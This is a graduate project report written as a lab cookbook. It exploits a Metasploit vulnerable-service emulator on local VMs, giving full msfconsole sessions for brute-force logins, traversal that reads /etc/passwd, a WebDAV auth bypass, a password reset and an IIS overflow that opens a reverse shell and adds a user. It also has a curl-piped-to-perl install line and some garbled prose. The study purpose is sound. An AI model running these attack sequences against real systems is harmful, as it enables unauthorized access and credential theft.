EXPLOITING VULNERABILITIES USING METASPLOIT VULNERABLE SERVICE EMULATOR

Evon Harding Oluwatobi

138059

tharding@student.concordia.ab.ca

A project

Submitted to The Faculty of Graduate Studies, Concordia University of Edmonton

in Partial Fulfillment of the Requirements for the Degree

Master of Information Systems Security Management

Concordia University of Edmonton

FACULTY OF GRADUATE STUDIES

Edmonton, Canada

December 4, 2020

EXPLOITING VULNERABILITIES USING METASPLOIT VULNERABLE SERVICE EMULATOR

Evon Harding Oluwatobi

Approved:

Dale Lindskog [Original Approval on File]

Dale Lindskog Date: December 14, 2020

Primary Supervisor

Edgar Schmidt [Original Approval on File]

Edgar Schmidt, DSocSci Date: December 14, 2020

Dean, Faculty of Graduate Studies

Abstract

Penetration testing is a comprehensive process of protection and monitoring where a tester simulates an attack to find security vulnerabilities that an attacker can exploit on a secured network. It helps decide the best way to prevent and secure sensitive data from potential cybersecurity threats. To be successful in a typical pen test; there must be recognition, scanning, gaining access, maintaining access, and analyzing.

This unit will examine the Metasploit Vulnerable Service Emulator (MVSE) in terms of compromising credentials, obtaining a shell session from the target host, emulating vulnerable services, and maintaining the shell session using the Metasploit modules. Since there are several vulnerable services and security vulnerabilities, the honeypot is highly interactive and is specifically designed to be exploitable.

The Metasploit framework has various modules which includes, Auxiliaries, Payloads, Exploits, Encoders, NOPS, Post and Evasion.

In this unit, two different machines will be hosted on a hypervisor: one for Metasploit (attacker), and the other for MVSE (Victim) in which Metasploit modules would be utilized.

Keywords— Penetration Testing, Metasploit, Modules, Vulnerabilities, Exploit

Table of Contents

UNIT 3 – EXPLOITING VULNERABILITIES USING METASPLOIT VULNERABLE SERVICE EMULATOR

Abstract

Metasploit Vulnerable Service Emulator allows us to learn and test Metasploit modules that integrate effortlessly to contribute to compromising credentials, gaining root privileges and have persistent access in the target host whereby the honeypot is highly interactive and is specifically designed to be exploitable. This unit will examine the Metasploit Vulnerable Service Emulator (MVSE) in terms of compromising credentials, obtaining a shell session from the target host, emulating vulnerable services, and maintaining the shell session using the Metasploit modules. This unit aims to identify vulnerable services, security vulnerabilities, gain and maintain access by obtaining a shell session using Metasploit modules. [1]

Introduction

Metasploit Vulnerable Services Emulator is a platform that facilitates the emulation of vulnerable services for purposes of penetration testing which emulates over 100 compromised services that cover issues as exposing identities, having a shell session from the target, and more. For this unit of our cookbook, we'll be using MVSE, an emulation of different vulnerable services located in the ***service.cfg*** file which can be conducted using the steps for penetration testing, recognizing and investigating security vulnerabilities where MVSE will be a listening port for open services while also running the exploitation on the Metasploit framework by opening a shell session and perform post-exploitation [2]. The steps taken to exploit the vulnerabilities for this unit in this cookbook of exploitations are:

- Setup MVSE on target's machine
- Acquire Metasploit modules
- Run exploitation from the attacker's machine
- Perform Result Analysis
- Perform post-exploitation

Technical Requirements

The vulnerable services will be exploited using two tools which will be hosted on a hypervisor by utilizing two machines. These two tools are:

- Metasploit Vulnerable Service Emulator
- Metasploit Framework (version 5.0.99-dev)

The following software is required for exploiting vulnerabilities using the above tools:

- VMWare (Workstation 16 Pro) [3]
- Kali Linux (2020.1-vmware-amd64) [4]
- Ubuntu (version 20.04) [5]

In order to exploit vulnerabilities, the above software will be installed on a hypervisor where IP address is automatically configured via the Virtual Network Editor, as Kali Linux will be the attacker and Ubuntu will be the target host.
Kali Linux has pre-installed penetration testing tools that make it less vulnerable to virus attacks and offers more stability for the duration of penetration tests. Metasploit comes pre-installed with Kali Linux. Starting Metasploit in Kali Linux requires the following:

- Download Kali Linux via https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/ [4]
- Initiate the Metasploit Framework database using these commands "service postgresql start" and "msfdb init" subsequently on Kali Linux
- Use the command "msfconsole" to start and interact with the Metasploit Framework. [6]

Ubuntu is an open-source operating system (OS) focused on the Debian GNU/Linux distribution and because of this, MVSE can be installed on Ubuntu to exploit vulnerabilities. Starting MVSE on Ubuntu requires the following commands to ensure that the dependency packages are installed:

Ubuntu's machine

- sudo cpanm install IO::Socket::SSL Try::Tiny IO::Compress::Gzip Compress::Zlib Storable JSON
- curl -L http://cpanmin.us | perl – –sudo App::cpanminus"(if cpanm doesn't work) [2]

- Run “cd /opt/metasploit-vulnerability-emulator” to be in the MVSE directory
- sudo git clone https://github.com/rapid7/metasploit-vulnerability-emulator.git
- sudo chown -R ‘user account’ /opt/metasploit-vulnerability-emulator” to get the emulator down to the machine.
- Run the perl script as “sudo perl vulEmu.pl ip 0.0.0.0”. The Perl installation helps us activate any exploit on the virtual machine that is available where ip 0.0.0.0 is to start a listener on the default route. [2]

1. Auxiliary/scanner/http/buffalo_login:

Vulnerability Details	Cve Entry	Platform
CVE-2015-2856	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2856	-

This module simply aims to log in to an instance of the Buffalo NAS using a particular username and password. Work on version 1.68 has been verified. [7]

- **CVE Entry**
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2856
- **Approach to be used**

The approach used here is by authenticating the username and password of the target system vulnerability and applying a brute force attacker by setting the speed as 5.

Target’s machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/buffalo_login
listening on port 80
 >>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker’s machine

```
msf5 > use auxiliary/scanner/http/buffalo_login
msf5 auxiliary(scanner/http/buffalo_login) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 auxiliary(scanner/http/buffalo_login) > set pass_file ~/Desktop/pass.txt
pass_file => ~/Desktop/pass.txt
msf5 auxiliary(scanner/http/buffalo_login) > set user_file ~/Desktop/user.txt
user_file => ~/Desktop/user.txt
msf5 auxiliary(scanner/http/buffalo_login) > options
Module options (auxiliary/scanner/http/buffalo_login):
Name             Current Setting     Required  Description
BLANK_PASSWORDS   false               no        Try blank passwords for all users
BRUTEFORCE_SPEED  5                   yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS      false               no        Try each user/password couple stored in the current database
DB_ALL_PASS       false               no        Add all passwords in the current database to the list
DB_ALL_USERS      false               no        Add all users in the current database to the list
PASSWORD                              no        A specific password to authenticate with
PASS_FILE         ~/Desktop/pass.txt  no        File containing passwords, one per line
Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS            192.168.10.128      yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RPORT             80                  yes       The target port (TCP)
SSL               false               no        Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS   false               yes       Stop guessing when a credential works for a host
THREADS           1                   yes       The number of concurrent threads (max one per host)
USERNAME                              no        A specific username to authenticate as
USERPASS_FILE                         no        File containing users and passwords separated by space, one pair per
line
USER_AS_PASS      false               no        Try the username as the password for all users
USER_FILE         ~/Desktop/user.txt  no        File containing usernames, one per line
VERBOSE           true                yes       Whether to print output for all attempts
VHOST                                 no        HTTP server virtual host
```

```
msf5 auxiliary(scanner/http/buffalo_login) > run
[-] 192.168.10.128:80 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: admin:pass (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: admin:no (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: admin:password (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: pass:admin (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: pass:pass (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: pass:no (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: pass:password (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: for:admin (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: for:pass (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: for:no (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: for:password (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: root:admin (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: root:pass (Incorrect)
[-] 192.168.10.128:80 - LOGIN FAILED: root:no (Incorrect)
[+] 192.168.10.128:80 - Login Successful: root:password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output shows the variables in “use auxiliary/scanner/http/buffalo_login” that needs to be established by having a successful login where the username: root and password: password using a brute force attack

2. Auxiliary/scanner/ftp/titanftp_xcrc_traversal

Vulnerability Details	Cve Entry	Platform
CVE-2010-2426	https://cvedetails.com/cve/CVE-2010-2426/ OSVDB (65533)	-

In the XCRC command, this module exploits a directory traversal flaw that is introduced in Titan FTP versions up to and including 8.10.1125. By submitting several XCRC orders, the contents of every file on the drive can be exposed with a simple CRC "brute force" attack. Since the daemon has device rights, access is restricted to files that exist on the same drive as the root directory of the FTP server. TitanFTPd directory traversal weakness in TitanFTPd 's South River Technologies Titan FTP Server 8.10.1125, and likely earlier versions, enables remote authenticated users to read arbitrary files, evaluate file size, via. "./ "sequences in the xcrc command.. [8] [9]

- **CVE Entry**
  https://cvedetails.com/cve/CVE-2010-2426/ [8]
- **Platform**
  Windows
- **Approach to be used**

The approach used here is by authenticating the username and password of the target system vulnerability and applying a brute force attacker by setting the speed as 5.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/ftp/titanftp_xcrc_traversal
listening on port 21
listening on port 20
>>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 20 and 21 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > options
Module options (auxiliary/scanner/ftp/titanftp_xcrc_traversal):
Name       Current Setting      Required  Description
FTPPASS    mozilla@example.com  no        The password for the specified username
FTPUSER    anonymous            no        The username to authenticate as
PATH       windows\win.ini      yes       Path to the file to disclose, relative to the root dir.
RHOSTS     192.168.10.128       yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RPORT      21                   yes       The target port (TCP)
THREADS    1                    yes       The number of concurrent threads (max one per host)
TRAVERSAL  ..\..\               yes       String to traverse to the drive's root directory
msf5 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > run
[+] 192.168.10.128:21     - 192.168.10.128:21 - Anonymous READ/WRITE (220 Welcome to titan ftp server)
[*] 192.168.10.128:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Output from attacker's machine

```
kali@kali:~$ ftp 192.168.10.128 21
Connected to 192.168.10.128.
220 Welcome to titan ftp server
Name (192.168.10.128:kali): XCRC .*9999999999
501 Syntax error in parameters or arguments. EndPos of 9999999999 is larger than file size 20.
Login failed.
Remote system type is Success!.
ftp>
```

The output above shows a successful login to titan ftp server with an initial connection from the ftp server itself. But here the "9999999999" is a large file to transfer.

3. Auxiliary/scanner/http/canon_wireless

Vulnerability Details	Cve Entry	Platform
CVE-2013-4614	https://www.cvedetails.com/cve/CVE-2013-4614/	-

This module lists the wireless capabilities of Cannon printers with a web interface. Tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870, MX890, MX920 and MX922 printers display a plain text Wi-Fi PSK passphrase that enables physically nearby attackers to obtain sensitive information through reading the display of an unattended workstation. [10] [11]

- **CVE Entry**
  https://www.cvedetails.com/cve/CVE-2013-4614/ [12]
- **Platform**
  Windows
- **Approach to be used**

The approach used here is to set the required variables as to know if a wireless or wired LAN is used to set up the canon printer.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/canon_wireless
listening on port 80
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker's machine

```
auxiliary/scanner/http/canon_wireless
msf5 auxiliary(scanner/http/bmc_trackit_passwd_reset) > use auxiliary/scanner/http/canon_wireless
msf5 auxiliary(scanner/http/canon_wireless) > options
Module options (auxiliary/scanner/http/canon_wireless):
Name     Current Setting  Required  Description
Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT    80               yes       The target port (TCP)
SSL      false            no        Negotiate SSL/TLS for outgoing connections
THREADS  1                yes       The number of concurrent threads (max one per host)
VHOST                     no        HTTP server virtual host
msf5 auxiliary(scanner/http/canon_wireless) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 auxiliary(scanner/http/canon_wireless) > run
[+] 192.168.10.128:80 Option: Use wired LAN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output shows a connection of a wired LAN used to set up canon printer.

4. Exploits/windows/iis/ms01_023_printer

Vulnerability Details	Cve Entry	Platform
CVE-2001-0241	https://cvedetails.com/cve/CVE-2001-0241/OSVDB (3323)	Windows

This exploit triggers a buffer overflow in the ISAPI request processor of the Internet Printing Protocol module on IIS. This module works against the 0 and 1 programme packs. For Windows 2000, which allows remote attackers to obtain root privileges via a long print request passed via IIS 5.0. To the extension of it. Buffer overflow in the Internet Printing ISAPI extension in Windows 2000 enables remote attackers to obtain root privileges via a long print request that is forwarded to the IIS 5.0 extension. [13] [14]

- **CVE Entry**
  https://cvedetails.com/cve/CVE-2001-0241/OSVDB (3323) [14]
- **Platform**
  Windows
- **Approach to be used**

The approach used here is exploiting the vulnerability whereby gaining a shell session by performing post exploitation by creating new users and assigning password.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act exploits/windows/iis/ms01_023_printer
listening on port 80
>>>>metepreter is connected IO::Socket::INET=GLOB(0x562e85e88e50)
sending >> to start with simple session
New password:
Retype new password:
passwd: password updated successfully
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited and create a password for the new user.

Attacker's machine

```
msf5 auxiliary(scanner/http/canon_wireless) > use exploits/windows/iis/ms01_023_printer
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/iis/ms01_023_printer) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 exploit(windows/iis/ms01_023_printer) > options
Module options (exploit/windows/iis/ms01_023_printer):
Name    Current Setting  Required  Description
RHOSTS  192.168.10.128   yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RPORT   80               yes       The target port (TCP)
Payload options (windows/shell_reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.10.130   yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
msf5 exploit(windows/iis/ms01_023_printer) > run
[*] Started reverse TCP handler on 192.168.10.130:4444
[*] Command shell session 1 opened (192.168.10.130:4444 -> 192.168.10.128:60676) at 2020-10-07 19:47:20 -
0400
>> useradd -m harding
>>passwd root
>>pwd
/opt/metasploit-vulnerability-emulator
>>[*] 192.168.10.128 - Command shell session 1 closed
```

The above output shows that a shell session has been created that has contributed to a meterpreter linked by executing a post-exploitation by introducing a new user and generating a password.

5. Auxiliary/scanner/http/bmc_trackit_passwd_reset

Vulnerability Details	Cve Entry	Platform
CVE-2014-8270	https://cvedetails.com/cve/CVE-2014-8270/	-

This module exploits a vulnerability in the BMC TrackIt Password Reset process! 11.3 and probably earlier versions. If the password reset service is configured to use the domain administrator (which is the recommended configuration), the domain credential can be reset (such as the domain administrator). BMC Track-This is it! 11.3 allows remote attackers to gain privileges and execute arbitrary code by creating an account whose name matches that of a local system account, and then reset the password. [15]

- **CVE Entry**
  https://cvedetails.com/cve/CVE-2014-8270/ [15]
- **Approach to be used**

The approach used here is exploiting the vulnerability whereby gaining privileges by performing password reset on an account that matches the administrator.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/bmc_trackit_passwd_reset
listening on port 80
>>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 auxiliary(scanner/http/bmc_trackit_passwd_reset) > set rhosts 192.168.225.129
Module options (auxiliary/scanner/http/bmc_trackit_passwd_reset):
Name       Current Setting  Required  Description
DOMAIN                      no        The domain of the user. By default the local user's computer name will be
autodetected
LOCALPASS                   no        The password to set for the local user (blank for random)
LOCALUSER  Administrator    yes       The user to change password for
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.225.129  yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RPORT      80               yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /                yes       The path to BMC TrackIt!
THREADS    1                yes       The number of concurrent threads (max one per host)
VHOST                       no        HTTP server virtual host
msf5 auxiliary(scanner/http/bmc_trackit_passwd_reset) > run
[+] 192.168.225.129:80   : Please run the psexec module using evon\Administrator:vJrNfGIIOo!1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output shows the local user's computer name "evon" is autodetected and a reset password can be done for the administration.

6. Auxiliary/scanner/http/bitweaver_overlay_type_traversal

Vulnerability Details	Cve Entry	Platform
CVE-2012-5192	https://cvedetails.com/cve/CVE-2012-5192/	PHP

This module takes advantage of the directory traversal weakness found in Bitweaver. When handling the 'overlay type' parameter, view overlay.php fails to perform any path checks / filtering that could be misused to read any file outside the virtual directory. Directory traversal vulnerability in gmap/view overlay.php in Bitweaver 2.8.1 and earlier allows remote attackers to read arbitrary files through ""%2F' (dot dot encoded slash) sequences in the overlay type parameter. [16]

- **CVE Entry**
  https://cvedetails.com/cve/CVE-2012-5192/ [16]
- **Platform**
  PHP
- **Approach to be used**

The approach used here is the vulnerability demonstrated by traversing to a known readable path on the web server file system via “bitweaver/gmap/view_overlay.php”

Target’s machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/bitweaver_overlay_type_traversal
listening on port 80
>>>>can't find a match for request GET
/bitweaver/gmap/view_overlay.php?overlay_type=/home/kali/.msf4/loot/20201007200108_default_192.168.10.
128_bitweaver.overla_665256.bin HTTP/1.1

Host: 192.168.10.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
 of size 446
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker’s machine

```
msf5 exploit(windows/iis/ms01_023_printer) > use auxiliary/scanner/http/bitweaver_overlay_type_traversal
msf5 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > options
Module options (auxiliary/scanner/http/bitweaver_overlay_type_traversal):
Name       Current Setting  Required  Description
DEPTH      10               yes       The max traversal depth to root directory
FILE       /etc/passwd      yes       The file to obtain
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT      80               yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /bitweaver/      yes       The URI path to the web application
THREADS    1                yes       The number of concurrent threads (max one per host)
VHOST                       no        HTTP server virtual host
msf5 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > run
[*] Reading '/etc/passwd'
[+] /etc/passwd stored as
'/home/kali/.msf4/loot/20201007200108_default_192.168.10.128_bitweaver.overla_665256.bin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output showed the username and password listed in the “view_overlay.php” folder which could used to read files outside the virtual directory after filtering “/etc/passwd”. The credentials are as follows; admin: pass123 ; jdole: letmein.

7. Auxiliary/scanner/http/dir_webdav_unicode_bypass

Vulnerability Details	Cve Entry	Platform
CVE-2009-1122 CVE-2009-1535	https://www.cvedetails.com/cve/CVE-2009-1122/ https://www.cvedetails.com/cve/CVE-2009-1535/	Windows

This module is based on the HTTP Directory Scanner module, with one exception. If authentication is required, try to bypass authentication using the Unicode WebDAV IIS6 vulnerability discovered by Kingcope. The vulnerability appears to be exploitable when WebDAV is allowed on the IIS6 server, and any protected folder needs either Basic, Digest or NTLM authentication. The WebDAV extension in Microsoft Internet Information Services (IIS) 5.0 on Windows 2000 SP4 does not properly decode URLs that allow remote attackers to bypass authentication and potentially read or build files via an HTTP request, such as IIS 5.0 WebDAV Authentication Bypass Vulnerability. [17]

- **CVE Entry**
  https://www.cvedetails.com/cve/CVE-2009-1122/ [17]
- **Platform**
  Windows
- **Approach to be used**

The approach used here is to exploit the vulnerability by allowing the attacker to bypass authentication using PROFIND in IIS6 with WebDAV enabled.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
[sudo] password for evon:
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/dir_webdav_unicode_bypass
listening on port 80
>>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 auxiliary(scanner/http/dir_webdav_unicode_bypass) > options
Module options (auxiliary/scanner/http/dir_webdav_unicode_bypass):
Name        Current Setting                                  Required  Description
DICTIONARY  /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt  no        Path of word dictionary to
use
ERROR_CODE  404                                              yes       Error code for non existent directory
HTTP404S    /usr/share/metasploit-framework/data/wmap/wmap_404s.txt  no        Path of 404 signatures to use
PATH        /                                                yes       The path to identify files
Proxies                                                      no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS                                                       yes       The target host(s), range CIDR identifier, or hosts file
with syntax 'file:<path>'
RPORT       80                                               yes       The target port (TCP)
SSL         false                                            no        Negotiate SSL/TLS for outgoing connections
THREADS     1                                                yes       The number of concurrent threads (max one per host)
VHOST                                                        no        HTTP server virtual host
msf5 auxiliary(scanner/http/dir_webdav_unicode_bypass) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 auxiliary(scanner/http/dir_webdav_unicode_bypass) > run
[*] Using first 256 bytes of the response as 404 string
[*] Found protected folder http://192.168.10.128:80/~/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~1/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~admin/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~log/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~nobody/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~root/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
```

```
[*] Found protected folder http://192.168.10.128:80/~stats/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~track/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~tracking/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[+]     Found vulnerable WebDAV Unicode bypass target http://192.168.10.128:80/%c0%af~tracking/ 207
(192.168.10.128)
[*] Found protected folder http://192.168.10.128:80/~webstats/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.10.128:80/~wsdocs/ 401 (192.168.10.128)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output indicates that a vulnerable WebDAV Unicode bypass target was found, which is a protected folder on ***http://192.168.10.128:80/%c0%af~tracking/ 207 (192.168.10.128)***, clicking on the link found we get a note saying “Welcome!!!”.

8. Auxiliary/scanner/http/dlink_dir_300_615_http_login

Vulnerability Details	Cve Entry	Platform
CVE-1999-0502	https://cvedetails.com/cve/CVE-1999-0502/	Unix

The Unix account has a regular, zero, blank or missing password. This module aims to authenticate several D-Link HTTP management services. D-Link DIR-300 Hardware revision A, D-Link DIR-615 Hardware revision D and D-Link DIR-320 devices have been evaluated. It is likely that this module would also work with other versions. [18]

- **CVE Entry**
  https://cvedetails.com/cve/CVE-1999-0502/ [18]
- **Platform**
  Unix
- **Approach to be used**

The approach used here is to detect a D-Link device by using a brute force attack.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/dlink_dir_615h_http_login
listening on port 80
>>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 auxiliary(scanner/http/dlink_dir_300_615_http_login) > options
Module options (auxiliary/scanner/http/dlink_dir_300_615_http_login):
Name            Current Setting     Required  Description
BLANK_PASSWORDS   false               no        Try blank passwords for all users
BRUTEFORCE_SPEED  5                   yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS      false               no        Try each user/password couple stored in the current database
DB_ALL_PASS       false               no        Add all passwords in the current database to the list
DB_ALL_USERS      false               no        Add all users in the current database to the list
PASSWORD                              no        A specific password to authenticate with
PASS_FILE         ~/Desktop/pass.txt  no        File containing passwords, one per line
Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS            192.168.10.128      yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RPORT             80                  yes       The target port (TCP)
SSL               false               no        Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS   false               yes       Stop guessing when a credential works for a host
THREADS           1                   yes       The number of concurrent threads (max one per host)
USERNAME          admin               no        Username for authentication (default: admin)
USERPASS_FILE                         no        File containing users and passwords separated by space, one pair per
line
USER_AS_PASS      false               no        Try the username as the password for all users
USER_FILE         ~/Desktop/user.txt  no        File containing usernames, one per line
VERBOSE           true                yes       Whether to print output for all attempts
VHOST                                 no        HTTP server virtual host
msf5 auxiliary(scanner/http/dlink_dir_300_615_http_login) > run
[+] http://192.168.10.128:80/login.php - D-Link device detected
[*] http://192.168.10.128:80/login.php - Attempting to login
[*] http://192.168.10.128:80/login.php - Trying username:'admin' with password:'admin'
[+] http://192.168.10.128:80/login.php - Successful login 'admin' : 'admin'
[*] http://192.168.10.128:80/login.php - Trying username:'pass' with password:'admin'
[-] http://192.168.10.128:80/login.php - Failed to login as 'pass'
[*] http://192.168.10.128:80/login.php - Trying username:'pass' with password:'pass'
[-] http://192.168.10.128:80/login.php - Failed to login as 'pass'
[*] http://192.168.10.128:80/login.php - Trying username:'pass' with password:'no'
[-] http://192.168.10.128:80/login.php - Failed to login as 'pass'
```

```
[*] http://192.168.10.128:80/login.php - Trying username:'pass' with password:'password'
[-] http://192.168.10.128:80/login.php - Failed to login as 'pass'
[*] http://192.168.10.128:80/login.php - Trying username:'for' with password:'admin'
[-] http://192.168.10.128:80/login.php - Failed to login as 'for'
[*] http://192.168.10.128:80/login.php - Trying username:'for' with password:'pass'
[-] http://192.168.10.128:80/login.php - Failed to login as 'for'
[*] http://192.168.10.128:80/login.php - Trying username:'for' with password:'no'
[-] http://192.168.10.128:80/login.php - Failed to login as 'for'
[*] http://192.168.10.128:80/login.php - Trying username:'for' with password:'password'
[-] http://192.168.10.128:80/login.php - Failed to login as 'for'
[*] http://192.168.10.128:80/login.php - Trying username:'root' with password:'admin'
[-] http://192.168.10.128:80/login.php - Failed to login as 'root'
[*] http://192.168.10.128:80/login.php - Trying username:'root' with password:'pass'
[-] http://192.168.10.128:80/login.php - Failed to login as 'root'
[*] http://192.168.10.128:80/login.php - Trying username:'root' with password:'no'
[-] http://192.168.10.128:80/login.php - Failed to login as 'root'
[*] http://192.168.10.128:80/login.php - Trying username:'root' with password:'password'
[-] http://192.168.10.128:80/login.php - Failed to login as 'root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output is showing a D-Link device was detected by attempting to login with the right credentials as username and password as “admin.

9. Exploit/linux/http/symantec_web_gateway_restore

Vulnerability Details	Cve Entry	Platform
CVE-2014-7285	https://cvedetails.com/cve/CVE-2014-7285/	Unix

This module exploits the vulnerability of the command injection found in the Symantec Web Gateway Restore feature. The filename portion can be used to insert device commands into the syscall function and to gain control under the HTTP service context. You can use this vulnerability for Symantec Web Gateway 5.1.1 for any kind of user. However, you must be an administrator for version 5.2.1. The management console on the Symantec Web Gateway (SWG) appliance before 5.2.2 enables remote authenticated users to execute arbitrary OS commands by inserting command strings into unknown PHP scripts. [19]

